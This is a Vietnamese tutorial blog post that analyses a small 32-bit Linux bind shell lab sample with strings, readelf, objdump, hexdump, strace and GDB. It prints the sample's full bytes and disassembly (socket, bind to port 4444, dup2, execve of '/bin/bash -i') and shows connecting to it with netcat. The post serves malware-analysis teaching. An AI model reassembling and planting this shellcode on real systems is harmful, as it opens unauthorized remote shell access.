Reverse

Binary 105: Bind Shell Analysis

category
Reverse
date
Mar 15, 2021
slug
binary-105-bind-shell-analysis
author
status
Public
tags
binary analysis
reverse
summary
Phân tích một bind shell cơ bản.
type
Post
thumbnail
updatedAt
Mar 1, 2023 08:54 AM
Bài này thực hành phân tích một Bind Shell đơn giản. Lưu ý là Bind Shell được viết trực tiếp bằng Assembly, các lời gọi hàm đều thông qua System Calls nên cần chú ý đến Calling Convention vì nó không giống như các CC của các Trình biên dịch: stdcall, fastcall, cdecl,.. Giả định tình huống chúng ta nhận được cảnh báo xuất hiện một tệp lạ trên hệ thống.

1. Tìm kiếm và thu thập mẫu

Bước đầu cần xác định được vị trí của tệp độc hại. Sử dụng updatedb/locate. Tham số -w -i sẽ tìm kiếm mà không phân biệt chữ hoa, thường.
$ sudo updatedb $ sudo locate -i -w ch06-bindshell32 /home/osboxes/bac/Binary-Analysis-Cookbook/Chapter-06/32bit/ch06-bindshell32 /home/osboxes/bac/Binary-Analysis-Cookbook/Chapter-06/src/ch06-bindshell32.nasm /home/osboxes/bac/Binary-Analysis-Cookbook/Chapter-06/src/ch06-bindshell32.o
Sử dụng find để xác định lại chính xác vị trí tệp:
$ sudo find -name ch06-bindshell32 ./bac/Binary-Analysis-Cookbook/Chapter-06/32bit/ch06-bindshell32

2. Trích xuất thông tin mẫu

Cần thu thập càng nhiều thông tin hữu ích nhất về tệp càng tốt, các thông tin được sắp xếp một cách khoa học, dễ hiểu. Sử dụng các công cụ đã đề cập như: file, strings, objdump, readelf, hexdump,..
Sử dụng file:
$ file ch06-bindshell32 ch06-bindshell32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
Giải thích:
  • ELF 32-bit LSB executable: Tệp thực thi được biên dịch cho máy 32-bits, Little-Endian
  • Intel 80386: Kiến trúc VXL
  • statically linked: Linux thường là static
  • not stripped: Không xóa Debug Symbol và các thông tin khác
 
Trích xuất các chuỗi bằng strings:
$ strings ch06-bindshell32 Phbashh////h/bin Pfh-i ch06-bindshell32.nasm jump_short call_bind listener accept_connect change_fd shell_exec portconfig portnum __bss_start _edata _end .symtab .strtab .shstrtab .text
Một số chuỗi cần quan tâm:
  • Chuỗi: "Phbashh////h/bin" ⇒ Gợi nhớ đến chuỗi: "bin""bash"
  • Chuỗi: "ch06-bindshell32.nasm" ⇒ Có thể là file chương trình ban đầu khi biên dịch
  • Các chuỗi: "jump_short, call_bind, listener, accept_connect, change_fd, shell_exec, portconfig, portnum" ⇒ Các lable trong Assembly, nó như các khối mã
  • Các chuỗi: ".symtab, .strtab, .shstrtab, .text" ⇒ Các section của tệp ELF
 
Sử dụng readelf để Trích xuất cấu trúc ELF:
$ readelf -a -W ch06-bindshell32 ELF Header: Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 Class: ELF32 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: Intel 80386 Version: 0x1 Entry point address: 0x8048060 Start of program headers: 52 (bytes into file) Start of section headers: 660 (bytes into file) Flags: 0x0 Size of this header: 52 (bytes) Size of program headers: 32 (bytes) Number of program headers: 1 Size of section headers: 40 (bytes) Number of section headers: 5 Section header string table index: 2 Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .text PROGBITS 08048060 000060 00009a 00 AX 0 0 16 [ 2] .shstrtab STRTAB 00000000 000270 000021 00 0 0 1 [ 3] .symtab SYMTAB 00000000 0000fc 0000f0 10 4 11 4 [ 4] .strtab STRTAB 00000000 0001ec 000084 00 0 0 1 Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings) I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown) O (extra OS processing required) o (OS specific), p (processor specific) There are no section groups in this file. Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align LOAD 0x000000 0x08048000 0x08048000 0x000fa 0x000fa R E 0x1000 Section to Segment mapping: Segment Sections... 00 .text There is no dynamic section in this file. There are no relocations in this file. The decoding of unwind sections for machine type Intel 80386 is not currently supported. Symbol table '.symtab' contains 15 entries: Num: Value Size Type Bind Vis Ndx Name 0: 00000000 0 NOTYPE LOCAL DEFAULT UND 1: 08048060 0 SECTION LOCAL DEFAULT 1 2: 00000000 0 FILE LOCAL DEFAULT ABS ch06-bindshell32.nasm 3: 08048076 0 NOTYPE LOCAL DEFAULT 1 jump_short 4: 08048078 0 NOTYPE LOCAL DEFAULT 1 call_bind 5: 08048099 0 NOTYPE LOCAL DEFAULT 1 listener 6: 080480aa 0 NOTYPE LOCAL DEFAULT 1 accept_connect 7: 080480b9 0 NOTYPE LOCAL DEFAULT 1 change_fd 8: 080480cd 0 NOTYPE LOCAL DEFAULT 1 shell_exec 9: 080480f3 0 NOTYPE LOCAL DEFAULT 1 portconfig 10: 080480f8 0 NOTYPE LOCAL DEFAULT 1 portnum 11: 08048060 0 NOTYPE GLOBAL DEFAULT 1 _start 12: 080490fa 0 NOTYPE GLOBAL DEFAULT 1 __bss_start 13: 080490fa 0 NOTYPE GLOBAL DEFAULT 1 _edata 14: 080490fc 0 NOTYPE GLOBAL DEFAULT 1 _end No version information found in this file.
Kết quả từ readelf cho thấy chương trình có rất ít thông tin, rất tối giản, không có nhiều Section. Đây là đặc điểm dễ nhận thấy của các chương trình viết bằng Assembly
 
Sử dụng objdump để trích xuất cấu trúc ELF:
$ objdump -x -s ch06-bindshell32 ch06-bindshell32: file format elf32-i386 ch06-bindshell32 architecture: i386, flags 0x00000112: EXEC_P, HAS_SYMS, D_PAGED start address 0x08048060 Program Header: LOAD off 0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12 filesz 0x000000fa memsz 0x000000fa flags r-x Sections: Idx Name Size VMA LMA File off Algn 0 .text 0000009a 08048060 08048060 00000060 2**4 CONTENTS, ALLOC, LOAD, READONLY, CODE SYMBOL TABLE: 08048060 l d .text 00000000 .text 00000000 l df *ABS* 00000000 ch06-bindshell32.nasm 08048076 l .text 00000000 jump_short 08048078 l .text 00000000 call_bind 08048099 l .text 00000000 listener 080480aa l .text 00000000 accept_connect 080480b9 l .text 00000000 change_fd 080480cd l .text 00000000 shell_exec 080480f3 l .text 00000000 portconfig 080480f8 l .text 00000000 portnum 08048060 g .text 00000000 _start 080490fa g .text 00000000 __bss_start 080490fa g .text 00000000 _edata 080490fc g .text 00000000 _end Contents of section .text: 8048060 31c031db 31c96a06 6a016a02 b066b301 1.1.1.j.j.j..f.. 8048070 89e1cd80 89c7eb7b 5e31c031 db31c931 .......{^1.1.1.1 8048080 d25066ff 36b00266 5089e26a 10525731 .Pf.6..fP..j.RW1 8048090 c0b066b3 0289e1cd 8031c031 db31c96a ..f......1.1.1.j 80480a0 0157b066 b30489e1 cd8031c0 31db5053 .W.f......1.1.PS 80480b0 57b066b3 0589e1cd 8089c331 c931c0b0 W.f........1.1.. 80480c0 3fcd80b0 3f41cd80 b03f41cd 8031c050 ?...?A...?A..1.P 80480d0 68626173 68682f2f 2f2f682f 62696e89 hbashh////h/bin. 80480e0 e3506668 2d6989e6 50565389 e131d2b0 .Pfh-i..PVS..1.. 80480f0 0bcd80e8 80ffffff 115c .........\
 
Sử dụng hexdump để view tệp dạng hex và các ký tự thấy được:
$ hexdump -C -v ch06-bindshell32 00000000 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 |.ELF............| 00000010 02 00 03 00 01 00 00 00 60 80 04 08 34 00 00 00 |........`...4...| 00000020 94 02 00 00 00 00 00 00 34 00 20 00 01 00 28 00 |........4. ...(.| 00000030 05 00 02 00 01 00 00 00 00 00 00 00 00 80 04 08 |................| 00000040 00 80 04 08 fa 00 00 00 fa 00 00 00 05 00 00 00 |................| 00000050 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000060 31 c0 31 db 31 c9 6a 06 6a 01 6a 02 b0 66 b3 01 |1.1.1.j.j.j..f..| 00000070 89 e1 cd 80 89 c7 eb 7b 5e 31 c0 31 db 31 c9 31 |.......{^1.1.1.1| 00000080 d2 50 66 ff 36 b0 02 66 50 89 e2 6a 10 52 57 31 |.Pf.6..fP..j.RW1| 00000090 c0 b0 66 b3 02 89 e1 cd 80 31 c0 31 db 31 c9 6a |..f......1.1.1.j| 000000a0 01 57 b0 66 b3 04 89 e1 cd 80 31 c0 31 db 50 53 |.W.f......1.1.PS| 000000b0 57 b0 66 b3 05 89 e1 cd 80 89 c3 31 c9 31 c0 b0 |W.f........1.1..| 000000c0 3f cd 80 b0 3f 41 cd 80 b0 3f 41 cd 80 31 c0 50 |?...?A...?A..1.P| 000000d0 68 62 61 73 68 68 2f 2f 2f 2f 68 2f 62 69 6e 89 |hbashh////h/bin.| 000000e0 e3 50 66 68 2d 69 89 e6 50 56 53 89 e1 31 d2 b0 |.Pfh-i..PVS..1..| 000000f0 0b cd 80 e8 80 ff ff ff 11 5c 00 00 00 00 00 00 |.........\......| 00000100 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000110 60 80 04 08 00 00 00 00 03 00 01 00 01 00 00 00 |`...............| 00000120 00 00 00 00 00 00 00 00 04 00 f1 ff 17 00 00 00 |................| 00000130 76 80 04 08 00 00 00 00 00 00 01 00 22 00 00 00 |v..........."...| 00000140 78 80 04 08 00 00 00 00 00 00 01 00 2c 00 00 00 |x...........,...| 00000150 99 80 04 08 00 00 00 00 00 00 01 00 35 00 00 00 |............5...| 00000160 aa 80 04 08 00 00 00 00 00 00 01 00 44 00 00 00 |............D...| 00000170 b9 80 04 08 00 00 00 00 00 00 01 00 4e 00 00 00 |............N...| 00000180 cd 80 04 08 00 00 00 00 00 00 01 00 59 00 00 00 |............Y...| 00000190 f3 80 04 08 00 00 00 00 00 00 01 00 64 00 00 00 |............d...| 000001a0 f8 80 04 08 00 00 00 00 00 00 01 00 71 00 00 00 |............q...| 000001b0 60 80 04 08 00 00 00 00 10 00 01 00 6c 00 00 00 |`...........l...| 000001c0 fa 90 04 08 00 00 00 00 10 00 01 00 78 00 00 00 |............x...| 000001d0 fa 90 04 08 00 00 00 00 10 00 01 00 7f 00 00 00 |................| 000001e0 fc 90 04 08 00 00 00 00 10 00 01 00 00 63 68 30 |.............ch0| 000001f0 36 2d 62 69 6e 64 73 68 65 6c 6c 33 32 2e 6e 61 |6-bindshell32.na| 00000200 73 6d 00 6a 75 6d 70 5f 73 68 6f 72 74 00 63 61 |sm.jump_short.ca| 00000210 6c 6c 5f 62 69 6e 64 00 6c 69 73 74 65 6e 65 72 |ll_bind.listener| 00000220 00 61 63 63 65 70 74 5f 63 6f 6e 6e 65 63 74 00 |.accept_connect.| 00000230 63 68 61 6e 67 65 5f 66 64 00 73 68 65 6c 6c 5f |change_fd.shell_| 00000240 65 78 65 63 00 70 6f 72 74 63 6f 6e 66 69 67 00 |exec.portconfig.| 00000250 70 6f 72 74 6e 75 6d 00 5f 5f 62 73 73 5f 73 74 |portnum.__bss_st| 00000260 61 72 74 00 5f 65 64 61 74 61 00 5f 65 6e 64 00 |art._edata._end.| 00000270 00 2e 73 79 6d 74 61 62 00 2e 73 74 72 74 61 62 |..symtab..strtab| 00000280 00 2e 73 68 73 74 72 74 61 62 00 2e 74 65 78 74 |..shstrtab..text| 00000290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000002a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000002b0 00 00 00 00 00 00 00 00 00 00 00 00 1b 00 00 00 |................| 000002c0 01 00 00 00 06 00 00 00 60 80 04 08 60 00 00 00 |........`...`...| 000002d0 9a 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 |................| 000002e0 00 00 00 00 11 00 00 00 03 00 00 00 00 00 00 00 |................| 000002f0 00 00 00 00 70 02 00 00 21 00 00 00 00 00 00 00 |....p...!.......| 00000300 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 |................| 00000310 02 00 00 00 00 00 00 00 00 00 00 00 fc 00 00 00 |................| 00000320 f0 00 00 00 04 00 00 00 0b 00 00 00 04 00 00 00 |................| 00000330 10 00 00 00 09 00 00 00 03 00 00 00 00 00 00 00 |................| 00000340 00 00 00 00 ec 01 00 00 84 00 00 00 00 00 00 00 |................| 00000350 00 00 00 00 01 00 00 00 00 00 00 00 |............|
Đầu ra của Hexdump cũng cho thấy các Strings của chương trình

3. Phân tích tĩnh

Đây là bước quan trọng trong quá trình phân tích để hiểu được chương trình có những chức năng gì, hoạt động gì tác động lên hệ thống. Đây là phương pháp phân tích an toàn vì nó không đòi hỏi phải thực thi chương trình. Phần này sẽ áp dụng những kiến thức của trước: System call number, Ngắt và Man Page trong bài trước để tiến hành phân tích.
Sử dụng objdump để disassembly BindShell theo cú pháp Intel:
$ objdump -l -D -M intel ch06-bindshell32 ch06-bindshell32: file format elf32-i386 Disassembly of section .text: 08048060 <_start>: _start(): 8048060: 31 c0 xor eax,eax 8048062: 31 db xor ebx,ebx 8048064: 31 c9 xor ecx,ecx 8048066: 6a 06 push 0x6 8048068: 6a 01 push 0x1 804806a: 6a 02 push 0x2 804806c: b0 66 mov al,0x66 804806e: b3 01 mov bl,0x1 8048070: 89 e1 mov ecx,esp 8048072: cd 80 int 0x80 8048074: 89 c7 mov edi,eax 08048076 <jump_short>: jump_short(): 8048076: eb 7b jmp 80480f3 <portconfig> 08048078 <call_bind>: call_bind(): 8048078: 5e pop esi 8048079: 31 c0 xor eax,eax 804807b: 31 db xor ebx,ebx 804807d: 31 c9 xor ecx,ecx 804807f: 31 d2 xor edx,edx 8048081: 50 push eax 8048082: 66 ff 36 push WORD PTR [esi] 8048085: b0 02 mov al,0x2 8048087: 66 50 push ax 8048089: 89 e2 mov edx,esp 804808b: 6a 10 push 0x10 804808d: 52 push edx 804808e: 57 push edi 804808f: 31 c0 xor eax,eax 8048091: b0 66 mov al,0x66 8048093: b3 02 mov bl,0x2 8048095: 89 e1 mov ecx,esp 8048097: cd 80 int 0x80 08048099 <listener>: listener(): 8048099: 31 c0 xor eax,eax 804809b: 31 db xor ebx,ebx 804809d: 31 c9 xor ecx,ecx 804809f: 6a 01 push 0x1 80480a1: 57 push edi 80480a2: b0 66 mov al,0x66 80480a4: b3 04 mov bl,0x4 80480a6: 89 e1 mov ecx,esp 80480a8: cd 80 int 0x80 080480aa <accept_connect>: accept_connect(): 80480aa: 31 c0 xor eax,eax 80480ac: 31 db xor ebx,ebx 80480ae: 50 push eax 80480af: 53 push ebx 80480b0: 57 push edi 80480b1: b0 66 mov al,0x66 80480b3: b3 05 mov bl,0x5 80480b5: 89 e1 mov ecx,esp 80480b7: cd 80 int 0x80 080480b9 <change_fd>: change_fd(): 80480b9: 89 c3 mov ebx,eax 80480bb: 31 c9 xor ecx,ecx 80480bd: 31 c0 xor eax,eax 80480bf: b0 3f mov al,0x3f 80480c1: cd 80 int 0x80 80480c3: b0 3f mov al,0x3f 80480c5: 41 inc ecx 80480c6: cd 80 int 0x80 80480c8: b0 3f mov al,0x3f 80480ca: 41 inc ecx 80480cb: cd 80 int 0x80 080480cd <shell_exec>: shell_exec(): 80480cd: 31 c0 xor eax,eax 80480cf: 50 push eax 80480d0: 68 62 61 73 68 push 0x68736162 80480d5: 68 2f 2f 2f 2f push 0x2f2f2f2f 80480da: 68 2f 62 69 6e push 0x6e69622f 80480df: 89 e3 mov ebx,esp 80480e1: 50 push eax 80480e2: 66 68 2d 69 pushw 0x692d 80480e6: 89 e6 mov esi,esp 80480e8: 50 push eax 80480e9: 56 push esi 80480ea: 53 push ebx 80480eb: 89 e1 mov ecx,esp 80480ed: 31 d2 xor edx,edx 80480ef: b0 0b mov al,0xb 80480f1: cd 80 int 0x80 080480f3 <portconfig>: portconfig(): 80480f3: e8 80 ff ff ff call 8048078 <call_bind> 080480f8 <portnum>: portnum(): 80480f8: 11 .byte 0x11 80480f9: 5c pop esp
Giải thích:
Khối: 08048060 <_start>
  • 3 lệnh đầu: Khởi tạo giá trị 0 cho các thanh ghi EAX, EBX, ECX
  • 3 lệnh tiếp sau: Lần lượt đẩy các giá trị 0x6, 0x1, 0x2 lên Stack. Trạng thái Stack lúc này sẽ lần lượt chứa các giá trị sau: 0x2, 0x1, 0x6 (Do cơ chế LIFO).
  • Tại 804806c: AL = 0x66System call number. Kiểm tra trong: "/usr/include/i386-linux-gnu/asm/unistd_32.h"#define __NR_socketcall 102int socketcall(int call, unsigned long *args);
  • Tại 804806e: BL = 0x1 ⇒ Tham số thứ 1 truyền vào hàm socketcall ⇒ Kiểm tra trong: "/usr/include/linux/net.h"#define SYS_SOCKET 1 /* sys_socket(2) */
  • Tại 8048070: ECX trỏ vào đỉnh Stack. Đây là 3 tham số sẽ được truyền vào hàm: int socket(int domain, int type, int protocol); Với: domain=2=PF_INET ⇒ Sử dụng socket với địa chỉ ip và port number để kết nối, type=SOCK_STREAM, protocol=IPPROTO_TCP ⇒ Sử dụng kiểu kết nối tin cậy - TCP (Kiểm tra trong: "/etc/protocols").
  • Tại 8048072: Gọi ngắt thực hiện System call
  • Tại 8048074: Lưu kết quả vào EDI.
  • Tóm lại khối này trông sẽ tương tự như sau: sockfd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)
Khối: 08048076 <jump_short>
  • Thực hiện nhảy không điều kiện đến khối: 80480f3 <portconfig>
Khối: 08048078 <call_bind>
  • Tại 8048078: ESI = Port number = 4444
  • Tại 8048079 đến 804807f: Khởi tạo giá trị 0 cho các thanh ghi: EAX, EBX, ECX, EDX
  • Tại 8048081: Đưa 0 lên Stack
  • Tại 8048082: Đưa địa chỉ trỏ đến ESI/Port number lên Stack.
  • Tại 8048085: AL=0x2. Tại 8048087: Đưa 0x2 lên Stack
  • Tại 8048089: EDX trỏ vào đỉnh Stack, trạng thái Stack lúc này: 0x10, 0x02, 115C, 0x00
  • Từ 804808b đến 804808e: Lần lựa đẩy các giá trị 0x10, EDX, EDI lên Stack. Trạng thái Stack lúc này: [sock_fd](địa chỉ đỉnh stack trước khi push 0x10), 0x10, 0x02, 115c, 0x00
  • Tại 804808f: Reset EAX = 0. Tại 8048091: AL=0x66 ⇒ System call number ⇒ #define __NR_socketcall 102
  • Tại 8048093: BL=0x2 ⇒ Tham số thứ 1 của socketcall ⇒ Tra cứu trong: "/usr/include/linux/net.h"#define SYS_BIND 2 /* sys_bind(2) */int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
  • Tại 8048095: ECX trỏ đến Stack ⇒ Tham số thứ 2 của socketcall
  • Tại 8048097: Gọi ngắt thực hiện System call
  • Một loạt các kỹ thuật phức tạp được thực hiện, mục đích cuối cùng là thiết lập các đối số trên ngăn xếp đúng cách cho hàm bind. Tóm lại khối này trông tương tự như sau: bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16). Hay ngắn gọn hơn thì là: bind(sockfd, AF_INET, 4444, 0.0.0.0.0);
Khối: 08048099 <listener>
  • Từ 8048099 đến 804809d: Khởi tạo giá trị 0 cho các thanh ghi: EAX, EBX, ECX
  • Tại 804809f và 80480a1: Sau khi thực hiện, trạng thái Stack là: sockfd, 0x1
  • Tại 80480a2: AL=0x66 ⇒ System call number ⇒ #define __NR_socketcall 102
  • Tại 80480a4: BL=0x4 ⇒ Tham số thứ 2 cho hàm socketcall ⇒ Tra cứu trong "/usr/include/linux/net.h" ⇒ ta được: #define SYS_LISTEN 4 /* sys_listen(2) */int listen(int sockfd, int backlog);
  • Tại 80480a6: ECX trỏ vào đỉnh Stack.
  • Tại 80480a8: Gọi ngắt thực hiện System call
  • Tóm lại khối này thực hiện lắng nghe các kết nối đến thông qua hàm listen(3, 1);
Khối: 080480aa <accept_connect>
  • Tại 80480aa và 80480ac: EAX = EBX = 0
  • Tại 80480ae đến 80480b0: Trạng thái Stack: sockfd, 0x00, 0x00
  • Các bước sau đó thực hiện tương tự như cách trình đã trình bày bên trên. Khối code này thực hiện gọi hàm: int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen, int flags); với tham số thứ 2 và 3 bằng NULL. Viết ngắn gọn: accept(3, NULL, NULL)
Khối: 080480b9 <change_fd>
  • Khối này liên tục thực hiện 3 ngắt tương đương 3 lần System call.
  • Các System call lần lượt được gọi là: dup2(4, 0), dup2(4, 1), dup2(4, 2)
  • Mục đích: Chuyển hướng các Accept File Descriptor về 3 dạng: STDIN, STDOUT, STDERR.
Khối: 080480cd <shell_exec>
  • Tại 80480cd và 80480cf: Reset EAX và Push lên Stack
  • Tại 80480d0 đến 80480da: Push các hex data lên Stack. Tiến hành decode các data này như sau:
    • $ python >>> a = '68736162'.decode('hex') >>> b = '2f2f2f2f'.decode('hex') >>> c = '6e69622f'.decode('hex') >>> final = a + b + c >>> final[::-1] '/bin////bash'
  • Tại 80480e2: decode tương tự:
    • $ python >>> '692d'.decode('hex')[::-1] '-i'
  • Tại 80480df: EBX trỏ đến chuỗi: "/bin////bash -i".
  • Tại 80480ef: AL=0xb ⇒ System call number ⇒ #define __NR_execve 11int execve(const char *filename, char *const argv[], char *const envp[]);
  • Tóm lại khối này thực hiện hàm execve nhằm mục đích gọi bash shell hệ thống
Khối: 080480f3 <portconfig>
  • Gọi đến khối: 8048078 <call_bind>
  • Một điểm quan trọng cần lưu ý là khi thực hiện lệnh CALL thì địa chỉ của lệnh kế tiếp được đưa lên Stack. Trường hợp này lệnh kế tiếp có mã opcode là: 0x115c đã bị objdump hiểu nhầm là mã lệnh, thực ra nó là data ⇒ Đây là Port 4444. Vậy địa chỉ của Port được đưa lên Stack. Đây là một nhược điểm của công cụ objdump.
Khối: 080480f8 <portnum>
  • Khối này thực chất không có mã lệnh nào cả, objdump đã nhận diện nhầm opcode 0x115c thành mã lệnh, chính xác nó là dữ liệu, port number 4444.

4. Phân tích động với Ltrace/Strace

Phân tích động đem lại nhiều lợi thế so với phân tích tĩnh như: nhanh chóng có kết quả, dễ dàng thực hiện,.. tuy nhiên cần có một môi trường phân tích lý tưởng. Do BindShell được viết bằng Assembly và thực hiện các System Call nên Ltrace sẽ không thể monitor được, chúng ta sẽ sử dụng Strace.
Do Strace monitor các API cấp thấp sẽ dẫn đến việc có rất nhiều các api được gọi chồng chéo nhau dẫn đến kết quả đầu ra rất khó đọc, tôi sẽ sử dụng tham số -e để lọc các api quan trọng:
$ strace -itx -e trace=process,network ./ch06-bindshell32 17:00:09 [b7fa5cf5] execve("./ch06-bindshell32", ["./ch06-bindshell32"], [/* 22 vars */]) = 0 17:00:09 [08048074] socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3 17:00:09 [08048099] bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0 17:00:09 [080480aa] listen(3, 1) = 0 17:00:09 [080480b9] accept(3,
Lúc này BindShell đã chạy và đang lắng nghe kết nối trên Port 4444. Để kiểm tra:
$ sudo netstat -plant | grep -i '4444' tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 6397/ch06-bindshell
Trên một Terminal khác, sử dụng netcat để kiểm tra bằng cách kết nối đến như sau:
$ nc -nv 127.0.0.1 4444 Connection to 127.0.0.1 4444 port [tcp/*] succeeded! To run a command as administrator (user "root"), use "sudo <command>". See "man sudo_root" for details. osboxes@bac32:/home/osboxes/bac/Binary-Analysis-Cookbook/Chapter-06/32bit$
Quan sát lại logs của Strace:
$ strace -itx -e trace=process,network ./ch06-bindshell32 17:00:09 [b7fa5cf5] execve("./ch06-bindshell32", ["./ch06-bindshell32"], [/* 22 vars */]) = 0 17:00:09 [08048074] socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3 17:00:09 [08048099] bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0 17:00:09 [080480aa] listen(3, 1) = 0 17:00:09 [080480b9] accept(3, NULL, NULL) = 4 17:00:19 [080480f3] execve("/bin////bash", ["/bin////bash", "-i"], NULL) = 0 17:00:19 [b7f8ecf5] socket(PF_LOCAL, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 5 17:00:19 [b7f8ecf5] connect(5, {sa_family=AF_LOCAL, sun_path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory) ... 17:00:31 [b7f8ecf5] exit_group(0) = ? 17:00:31 [????????] +++ exited with 0 +++
Trình netcat như một ứng dụng client kết nối đến Server, khi kết nối thành công, server gọi bash shell, client get được shell trên server.

5. Phân tích động với GDB/EDB

Sử dụng GDB với PEDA Plugin để phân tích trình BindShell. Thực hiện như sau:
$ gdb ch06-bindshell32 GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1 Copyright (C) 2016 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i686-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from ch06-bindshell32...(no debugging symbols found)...done. gdb-peda$ start ... gdb-peda$ next
Thực hiện next cho đến: 0x8048072 <_start+18>: int 0x80. Đây là điểm System Call đầu tiên được gọi. Kết quả ta được như sau:
notion image
Giải thích:
  • Quan sát trạng thái Stack lúc này: 0x2, 0x1, 0x6
  • Điều này tương đương với: socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)
 
Tiếp tục next cho đến: 0x80480f3 <portconfig>: call 0x8048078 <call_bind>. Thực hiên next thêm một lần, khi đó ta dừng tại: 0x8048078 <call_bind>: pop esi. Kiểm tra Stack, lúc này Port number đã được đẩy lên:
notion image
Giải thích:
  • Sử dụng lệnh: x/wx $esp ta biết được đỉnh Stack lúc này đang lưu một địa chỉ: 0x080480f8
  • Kiểm tra giá trị tại địa chỉ này, ta được: 0x00005c11
  • Ta chuyển đổi giá trị này theo quy ước Little-Endian được giá trị Port: 4444
 
Tại: 0x8048097 <call_bind+31>: int 0x80. Gọi bind(sockfd, AF_INET, 4444, 0.0.0.0.0);
notion image
 
Tại: 0x80480a8 <listener+15>: int 0x80. Gọi listen(sockfd, backlog);
notion image
 
Tại: 0x80480b7 <accept_connect+13>: int 0x80. Gọi accept(sockfd, NULL, NULL)
notion image
 
Tiếp theo ta cần tập chung nhiều hơn vào khối shell_exec. Tiến hành disassembly khối này:
gdb-peda$ pdisass shell_exec Dump of assembler code for function shell_exec: 0x080480cd <+0>: xor eax,eax 0x080480cf <+2>: push eax 0x080480d0 <+3>: push 0x68736162 0x080480d5 <+8>: push 0x2f2f2f2f 0x080480da <+13>: push 0x6e69622f 0x080480df <+18>: mov ebx,esp 0x080480e1 <+20>: push eax 0x080480e2 <+21>: pushw 0x692d 0x080480e6 <+25>: mov esi,esp 0x080480e8 <+27>: push eax 0x080480e9 <+28>: push esi 0x080480ea <+29>: push ebx 0x080480eb <+30>: mov ecx,esp 0x080480ed <+32>: xor edx,edx 0x080480ef <+34>: mov al,0xb 0x080480f1 <+36>: int 0x80 End of assembler dump.
Đặt một Breakpoint tại shell_exec. Tại khối này sẽ diễn ra System Call, Sau đó nhập lệnh continue hoặc c:
gdb-peda$ br * shell_exec Breakpoint 2 at 0x80480cd gdb-peda$ info breakpoints Num Type Disp Enb Address What 2 breakpoint keep y 0x080480cd <shell_exec> gdb-peda$ c Continuing.
 
Lúc này chương trình rơi vào trạng thái lắng nghe các kết nối.:
$ sudo netstat -plant | grep 4444 tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 3775/ch06-bindshell
Tại một Terminal khác hay trên một máy từ xa, sử dụng nc như một trình client để kết nối đến BindShell:
$ nc -nv 192.168.128.8 4444 Connection to 192.168.128.8 4444 port [tcp/*] succeeded!
Trong GDB, chúng ta đã dừng lại được tại khối shell_exec:
notion image
Tiếp tục thực thi cho đến: 0x80480f1 <shell_exec+36>: int 0x80, quan sát trạng thái Stack trước khi thực hiện System Call: Chuỗi: "/bin////bash"'-i' đã được đưa lên Stack, đồng thời các thanh ghi EBX và ECX đang trỏ đến các chuỗi này, đây là các tham số cho hàm execve.
notion image
Như vậy bài này đã đi phân tích một BindShell cơ bản bằng cả phương pháp phân tích động và phân tích tĩnh. Plugin PEDA trên GDB giúp chúng ta phân tích nhanh hơn, trực quan hơn rất nhiều so với việc sử dụng GDB ở TUI Mode.